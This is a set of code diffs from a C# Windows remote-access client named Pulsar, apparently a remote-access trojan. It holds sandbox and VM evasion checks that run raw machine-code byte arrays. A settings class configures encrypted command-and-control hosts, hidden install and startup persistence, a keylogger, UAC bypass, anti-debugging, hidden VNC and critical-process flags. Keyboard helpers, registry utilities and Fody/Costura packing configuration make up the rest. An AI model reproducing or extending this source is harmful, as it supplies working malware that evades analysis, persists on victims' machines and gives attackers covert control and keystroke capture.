using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DEVICEMAP\Scsi"))
{
if (key != null)
{
foreach (var subKeyName in key.GetSubKeyNames())
{
using (var subKey = key.OpenSubKey(subKeyName))
{
if (subKey != null)
{
foreach (var portKeyName in subKey.GetSubKeyNames())
{
using (var portKey = subKey.OpenSubKey(portKeyName))
{
if (portKey != null)
{
var identifier = portKey.GetValue("Identifier")?.ToString();
if (!string.IsNullOrEmpty(identifier) &&
(identifier.Contains("DADY HARDDISK") || identifier.Contains("QEMU HARDDISK")))
{
return true;
}
}
}
}
}
}
}
}
}
}
catch
{
// Registry access failed, assume not VM
}
// Fallback to WMI if registry checks fail
try
{
using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive"))
{
foreach (var item in searcher.Get())
{
string model = item["Model"].ToString();
if (Utils.Contains(model, "DADY HARDDISK") || Utils.Contains(model, "QEMU HARDDISK"))
{
return true;
}
}
}
}
catch
{
// WMI not available, assume not VM
}
return false;
}
/// <summary>
/// Checks for specific Machine GUIDs that indicate a virtual environment in Any.Run.
/// </summary>
/// <returns>True if specific Machine GUIDs are detected, otherwise false.</returns>
public static bool AnyRunCheck()
{
return false;
}
/// <summary>
/// Checks if the environment is running in QEMU.
/// </summary>
/// <returns>True if QEMU is detected, otherwise false.</returns>
public static bool CheckForQemu()
{
string[] BadDriversList = { "qemu-ga", "qemuwmi" };
foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*"))
{
foreach (string BadDrivers in BadDriversList)
{
if (Utils.Contains(Drivers, BadDrivers))
{
return true;
}
}
}
return false;
}
public sealed class Generic
{
/// <summary>
/// Checks for VM-related ports on the system.
/// </summary>
/// <returns>True if no port connectors are found, indicating a possible VM environment, otherwise false.</returns>
public static bool PortConnectionAntiVM()
{
try
{
if (new ManagementObjectSearcher("SELECT * FROM Win32_PortConnector").Get().Count == 0)
return true;
}
catch
{
// WMI not available, assume ports exist
}
return false;
}
/// <summary>
/// Checks if the environment is running in an emulation by measuring the sleep interval.
/// </summary>
/// <returns>True if emulation is detected, otherwise false.</returns>
public static bool EmulationTimingCheck()
{
long Tick = Environment.TickCount;
Thread.Sleep(500);
long Tick2 = Environment.TickCount;
if (((Tick2 - Tick) < 500L))
{
return true;
}
return false;
}
/// <summary>
/// Checks if the AVX instructions is properly implemented and handled.
/// </summary>
/// <returns>true if the instructions is not handled correctly, otherwise false.</returns>
public static bool AVXInstructions()
{
try
{
bool ResultBool = false;
byte[] Code = new byte[80];
if (IntPtr.Size == 8)
Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x75, 0x31, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x75, 0x29, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x75, 0x16, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x44, 0x0f, 0x28, 0xc0, 0x66, 0x45, 0x0f, 0x5b, 0xc0, 0x75, 0x06, 0x74, 0x00, 0x48, 0x31, 0xc0, 0xc3, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3 };
else
Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x66, 0x0f, 0x7e, 0xe0, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x66, 0x0f, 0x7e, 0xeb, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x66, 0x0f, 0x7e, 0xf9, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x75, 0x05, 0x74, 0x00, 0x31, 0xc0, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3 };
IntPtr Allocated = Utils.AllocateCode(Code);
if (Allocated != IntPtr.Zero)
{
try
{
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
int Result = Execute();
if (Result == 1)
{
Utils.FreeCode(Allocated);
ResultBool = true;
}
}
catch
{
Utils.FreeCode(Allocated);
return false;
}
Utils.FreeCode(Allocated);
return ResultBool;
}
return false;
}
catch
{
return false;
}
}
/// <summary>
/// Checks if the RDRAND instruction is properly implemented.
/// </summary>
/// <returns>true if the instruction is implemented correctly, otherwise false.</returns>
public static bool RDRANDInstruction()
{
try
{
bool ResultBool = false;
byte[] Code = new byte[80];
if (IntPtr.Size == 8)
Code = new byte[] { 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC3, 0x48, 0x83, 0xFB, 0x00, 0x74, 0x0F, 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC2, 0x48, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 };
else
Code = new byte[] { 0x0F, 0xC7, 0xF0, 0x89, 0xC3, 0x83, 0xFB, 0x00, 0x74, 0x0C, 0x0F, 0xC7, 0xF0, 0x89, 0xC2, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 };
IntPtr Allocated = Utils.AllocateCode(Code);
if (Allocated != IntPtr.Zero)
{
try
{
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
int Result = Execute();
if (Result == 1)
{
ResultBool = true;
}
}
catch
{
Utils.FreeCode(Allocated);
return false;
}
Utils.FreeCode(Allocated);
return ResultBool;
}
return false;
}
catch
{
return false;
}
}
/// <summary>
/// Checks if the instructions that control the register flags is properly handling the register.
/// </summary>
/// <returns>true if everything is going correctly, otherwise false.</returns>
public static bool FlagsManipulationInstructions()
{
try
{
bool ResultBool = false;
byte[] Code = new byte[80];
if (IntPtr.Size == 8)
Code = new byte[] { 0x9C, 0x58, 0x48, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0x48, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x08, 0x48, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 };
else
Code = new byte[] { 0x9C, 0x58, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x06, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
IntPtr Allocated = Utils.AllocateCode(Code);
if (Allocated != IntPtr.Zero)
{
try
{
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
int Result = Execute();
if (Result == 1)
{
ResultBool = true;
}
}
catch
{
Utils.FreeCode(Allocated);
return false;
}
Utils.FreeCode(Allocated);
return ResultBool;
}
return false;
}
catch
{
return false;
}
}
}
}
}
+7
View File
@@ -0,0 +1,7 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup useLegacyV2RuntimeActivationPolicy="true">
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8.1" />
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
</startup>
</configuration>
+134
View File
@@ -0,0 +1,134 @@
using Pulsar.Common.Cryptography;
using Pulsar.Common.Models;
using System;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Windows.Forms;
namespace Pulsar.Client.Config
{
/// <summary>
/// Stores the configuration of the client.
/// </summary>
public static class Settings
{
// Version string reported to the server regardless of assembly metadata.
private const string VersionOverride = "2.4.5";
#if DEBUG
public static string VERSION = "1.0.0";
public static string HOSTS = "127.0.0.1:4782;";
public static int RECONNECTDELAY = 500;
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "Test";
public static string INSTALLNAME = "test.exe";
public static bool INSTALL = false;
public static bool STARTUP = false;
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
public static string STARTUPKEY = "Pulsar Client Startup";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;
public static string ENCRYPTIONKEY = "";
public static string TAG = "DEBUG";
public static string LOGDIRECTORYNAME = "Logs";
public static string SERVERSIGNATURE = "";
public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static string INSTALLPATH = "";
public static string LOGSPATH = "";
public static bool ANTIVM = false;
public static bool ANTIDEBUG = false;
public static bool PASTEBIN = false;
public static bool UACBYPASS = false;
public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr)
// needed for hvnc (why?) why not use the desktop pointer directly?
public static IntPtr OriginalDesktopPointer = IntPtr.Zero;
public static bool Initialize()
{
SetupPaths();
return true;
}
#else
public static string VERSION = "";
public static string HOSTS = "";
public static int RECONNECTDELAY = 5000;
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
public static string SUBDIRECTORY = "";
public static string INSTALLNAME = "";
public static bool INSTALL = false;
public static bool STARTUP = false;
public static string MUTEX = "";
public static string STARTUPKEY = "";
public static bool HIDEFILE = false;
public static bool ENABLELOGGER = false;
public static string ENCRYPTIONKEY = "";
public static string TAG = "";
public static string LOGDIRECTORYNAME = "";
public static string SERVERSIGNATURE = "";
public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static string INSTALLPATH = "";
public static string LOGSPATH = "";
public static bool ANTIVM = false;
public static bool ANTIDEBUG = false;
public static bool PASTEBIN = false;
public static bool UACBYPASS = false;
public static bool MAKEPROCESSCRITICAL = false; // if true it will attempt to make the process crititcal (needs admin fr)
// needed for hvnc
public static IntPtr OriginalDesktopPointer = IntPtr.Zero;
public static bool Initialize()
{
if (string.IsNullOrEmpty(VERSION)) return false;
var aes = new Aes256(ENCRYPTIONKEY);
TAG = aes.Decrypt(TAG);
VERSION = aes.Decrypt(VERSION);
HOSTS = aes.Decrypt(HOSTS);
SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
INSTALLNAME = aes.Decrypt(INSTALLNAME);
MUTEX = aes.Decrypt(MUTEX);
STARTUPKEY = aes.Decrypt(STARTUPKEY);
LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
SetupPaths();
return VerifyHash();
}
#endif
public static string ReportedVersion => string.IsNullOrWhiteSpace(VersionOverride) ? VERSION : VersionOverride;
static void SetupPaths()
{
LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
}
static bool VerifyHash()
{
try
{
using (var rsa = SERVERCERTIFICATE.GetRSAPublicKey())
{
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY));
return rsa.VerifyHash(hash, Convert.FromBase64String(SERVERSIGNATURE), HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
}
}
catch (Exception)
{
return false;
}
}
}
}
+59
View File
@@ -0,0 +1,59 @@
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
namespace Pulsar.Client.Extensions
{
public static class KeyExtensions
{
public static bool ContainsModifierKeys(this List<Keys> pressedKeys)
{
return pressedKeys.Any(x => x.IsModifierKey());
}
public static bool IsModifierKey(this Keys key)
{
return (key == Keys.LControlKey
|| key == Keys.RControlKey
|| key == Keys.LMenu
|| key == Keys.RMenu
|| key == Keys.LWin
|| key == Keys.RWin
|| key == Keys.Control
|| key == Keys.Alt);
}
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
{
return pressedKeys.Contains((Keys)char.ToUpper(c));
}
public static bool IsExcludedKey(this Keys k)
{
// The keys below are excluded. If it is one of the keys below,
// the KeyPress event will handle these characters. If the keys
// are not any of those specified below, we can continue.
return (k >= Keys.A && k <= Keys.Z
|| k >= Keys.NumPad0 && k <= Keys.Divide
|| k >= Keys.D0 && k <= Keys.D9
|| k >= Keys.Oem1 && k <= Keys.OemClear
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|| k == Keys.CapsLock
|| k == Keys.Space);
}
public static string GetDisplayName(this Keys key)
{
string name = key.ToString();
if (name.Contains("ControlKey"))
return "Control";
else if (name.Contains("Menu"))
return "Alt";
else if (name.Contains("Win"))
return "Win";
else if (name.Contains("Shift"))
return "Shift";
return name;
}
}
}
@@ -0,0 +1,19 @@
using Pulsar.Client.Utilities;
using System.Diagnostics;
using System.Text;
namespace Pulsar.Client.Extensions
{
public static class ProcessExtensions
{
public static string GetMainModuleFileName(this Process proc)
{
uint nChars = 260;
StringBuilder buffer = new StringBuilder((int)nChars);
var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars);
return success ? buffer.ToString() : null;
}
}
}
@@ -0,0 +1,400 @@
using Microsoft.Win32;
using Pulsar.Common.Utilities;
using System;
using System.Collections.Generic;
using System.Linq;
namespace Pulsar.Client.Extensions
{
/// <summary>
/// Provides extensions for registry key and value operations.
/// </summary>
public static class RegistryKeyExtensions
{
/// <summary>
/// Determines if the registry key by the name provided is null or has the value of null.
/// </summary>
/// <param name="keyName">The name associated with the registry key.</param>
/// <param name="key">The actual registry key.</param>
/// <returns>True if the provided name is null or empty, or the key is null; False if otherwise.</returns>
private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
{
return (string.IsNullOrEmpty(keyName) || (key == null));
}
/// <summary>
/// Attempts to get the string value of the key using the specified key name. This method assumes
/// correct input.
/// </summary>
/// <param name="key">The key of which we obtain the value of.</param>
/// <param name="keyName">The name of the key.</param>
/// <param name="defaultValue">The default value if value can not be determined.</param>
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
/// defaultValue will be returned instead.</returns>
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
{
try
{
return key.GetValue(keyName, defaultValue).ToString();
}
catch
{
return defaultValue;
}
}
/// <summary>
/// Attempts to obtain a readonly (non-writable) sub key from the key provided using the
/// specified name. Exceptions thrown will be caught and will only return a null key.
/// This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is obtained from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
/// unable to obtain a sub-key.</returns>
public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name)
{
try
{
return key.OpenSubKey(name, false);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to obtain a writable sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is obtained from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
/// unable to obtain a sub-key.</returns>
public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name)
{
try
{
return key.OpenSubKey(name, true);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to create a sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is to be created from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key that was created for the key and name provided; Returns null if
/// unable to create a sub-key.</returns>
public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
{
try
{
return key.CreateSubKey(name);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to delete a sub-key and its children from the key provided using the specified
/// name.
/// </summary>
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
{
try
{
key.DeleteSubKeyTree(name, true);
return true;
}
catch
{
return false;
}
}
/*
* Derived and Adapted from drdandle's article,
* Copy and Rename Registry Keys at Code project.
* Copy and Rename Registry Keys (Post Date: November 11, 2006)
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This is a work that is not of the original. It
* has been modified to suit the needs of another
* application.
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* First Modified by StingRaptor on January 21, 2016
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* Original Source:
* http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys
*/
/// <summary>
/// Attempts to rename a sub-key to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="key">The key of which the subkey is to be renamed from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyKey(oldName, newName);
//Dispose of the old key
key.DeleteSubKeyTree(oldName);
return true;
}
catch
{
//Try to dispose of the newKey (The rename failed)
key.DeleteSubKeyTreeSafe(newName);
return false;
}
}
/// <summary>
/// Attempts to copy a old subkey to a new subkey for the key
/// provided using the specified old name and new name. (throws exceptions)
/// </summary>
/// <param name="key">The key of which the subkey is to be deleted from.</param>
/// <param name="oldName">The old name of the sub-key.</param>
/// <param name="newName">The new name of the sub-key.</param>
public static void CopyKey(this RegistryKey key, string oldName, string newName)
{
//Create a new key
using (RegistryKey newKey = key.CreateSubKey(newName))
{
//Open old key
using (RegistryKey oldKey = key.OpenSubKey(oldName, true))
{
//Copy from old to new
RecursiveCopyKey(oldKey, newKey);
}
}
}
/// <summary>
/// Attempts to rename a sub-key to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="sourceKey">The source key to copy from.</param>
/// <param name="destKey">The destination key to copy to.</param>
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
{
//Copy all of the registry values
foreach (string valueName in sourceKey.GetValueNames())
{
object valueObj = sourceKey.GetValue(valueName);
RegistryValueKind valueKind = sourceKey.GetValueKind(valueName);
destKey.SetValue(valueName, valueObj, valueKind);
}
//Copy all of the subkeys
foreach (string subKeyName in sourceKey.GetSubKeyNames())
{
using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName))
{
using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName))
{
//Recursive call to copy the sub key data
RecursiveCopyKey(sourceSubkey, destSubKey);
}
}
}
}
/// <summary>
/// Attempts to set a registry value for the key provided using the specified
/// name, data and kind. If the registry value does not exist it will be created
/// </summary>
/// <param name="key">The key of which the value is to be set for.</param>
/// <param name="name">The name of the value.</param>
/// <param name="data">The data of the value</param>
/// <param name="kind">The value kind of the value</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
{
try
{
// handle type conversion
if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[]))
{
switch (kind)
{
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
data = ByteConverter.ToString((byte[])data);
break;
case RegistryValueKind.DWord:
data = ByteConverter.ToUInt32((byte[])data);
break;
case RegistryValueKind.QWord:
data = ByteConverter.ToUInt64((byte[])data);
break;
case RegistryValueKind.MultiString:
data = ByteConverter.ToStringArray((byte[])data);
break;
}
}
key.SetValue(name, data, kind);
return true;
}
catch
{
return false;
}
}
/// <summary>
/// Attempts to delete a registry value for the key provided using the specified
/// name.
/// </summary>
/// <param name="key">The key of which the value is to be delete from.</param>
/// <param name="name">The name of the value.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool DeleteValueSafe(this RegistryKey key, string name)
{
try
{
key.DeleteValue(name);
return true;
}
catch
{
return false;
}
}
/// <summary>
/// Attempts to rename a registry value to the key provided using the specified old
/// name and new name.
/// </summary>
/// <param name="key">The key of which the registry value is to be renamed from.</param>
/// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyValue(oldName, newName);
//Dispose of the old value
key.DeleteValue(oldName);
return true;
}
catch
{
//Try to dispose of the newKey (The rename failed)
key.DeleteValueSafe(newName);
return false;
}
}
/// <summary>
/// Attempts to copy a old registry value to a new registry value for the key
/// provided using the specified old name and new name. (throws exceptions)
/// </summary>
/// <param name="key">The key of which the registry value is to be copied.</param>
/// <param name="oldName">The old name of the registry value.</param>
/// <param name="newName">The new name of the registry value.</param>
public static void CopyValue(this RegistryKey key, string oldName, string newName)
{
RegistryValueKind valueKind = key.GetValueKind(oldName);
object valueData = key.GetValue(oldName);
key.SetValue(newName, valueData, valueKind);
}
/// <summary>
/// Checks if the specified subkey exists in the key
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the sub-key to find.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool ContainsSubKey(this RegistryKey key, string name)
{
foreach (string subkey in key.GetSubKeyNames())
{
if (subkey == name)
{
return true;
}
}
return false;
}
/// <summary>
/// Checks if the specified registry value exists in the key
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the registry value to find.</param>
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
public static bool ContainsValue(this RegistryKey key, string name)
{
foreach (string value in key.GetValueNames())
{
if (value == name)
{
return true;
}
}
return false;
}
/// <summary>
/// Gets all of the value names associated with the registry key and returns
/// formatted strings of the filtered values.
/// </summary>
/// <param name="key">The registry key of which the values are obtained.</param>
/// <returns>Yield returns formatted strings of the key and the key value.</returns>
public static IEnumerable<Tuple<string, string>> GetKeyValues(this RegistryKey key)
{
if (key == null) yield break;
foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k)))
{
yield return new Tuple<string, string>(k, key.GetValueSafe(k));
}
}
/// <summary>
/// Gets the default value for a given data type of a registry value.
/// </summary>
/// <param name="valueKind">The data type of the registry value.</param>
/// <returns>The default value for the given <see cref="valueKind"/>.</returns>
public static object GetDefault(this RegistryValueKind valueKind)
{
switch (valueKind)
{
case RegistryValueKind.Binary:
return new byte[] { };
case RegistryValueKind.MultiString:
return new string[] { };
case RegistryValueKind.DWord:
return 0;
case RegistryValueKind.QWord:
return (long)0;
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
return "";
default:
return null;
}
}
}
}
+16
View File
@@ -0,0 +1,16 @@
<?xml version="1.0" encoding="utf-8"?>
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
<Costura IncludeDebugSymbols='false'>
<IncludeAssemblies>
MessagePack
MessagePack.Annotations
Pulsar.Common
System.Memory
System.Runtime.CompilerServices.Unsafe
System.Collections.Immutable
System.Numerics.Vectors
System.Buffers
System.Threading.Tasks.Extensions
</IncludeAssemblies>
</Costura>
</Weavers>
+176
View File
@@ -0,0 +1,176 @@
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
<xs:element name="Weavers">
<xs:complexType>
<xs:all>
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
<xs:complexType>
<xs:all>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX86Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinArm64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
</xs:all>
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCompression" type="xs:boolean">
<xs:annotation>
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCleanup" type="xs:boolean">
<xs:annotation>
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableEventSubscription" type="xs:boolean">
<xs:annotation>
<xs:documentation>The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
